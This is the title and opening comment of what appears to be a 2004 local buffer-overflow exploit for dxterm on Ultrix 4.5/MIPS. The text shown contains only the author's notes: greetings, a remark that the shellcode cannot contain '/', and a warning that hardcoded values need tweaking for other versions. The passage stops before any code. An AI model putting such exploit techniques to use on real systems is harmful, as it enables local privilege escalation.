Ultrix 4.5/MIPS - dxterm 0 Local Buffer Overflow

/* Ultrix 4.5/MIPS dxterm exploit
  by ztion in 2004
  Greets to: Stok, sidez

  It wasn't possible to use '/' in the shellcode. Probably dxterm only
  copies everything after the last slash, as it expects a path.
  Since everything is pretty much hardcoded, you will probably have to
  tweak it for versions other than 4.5
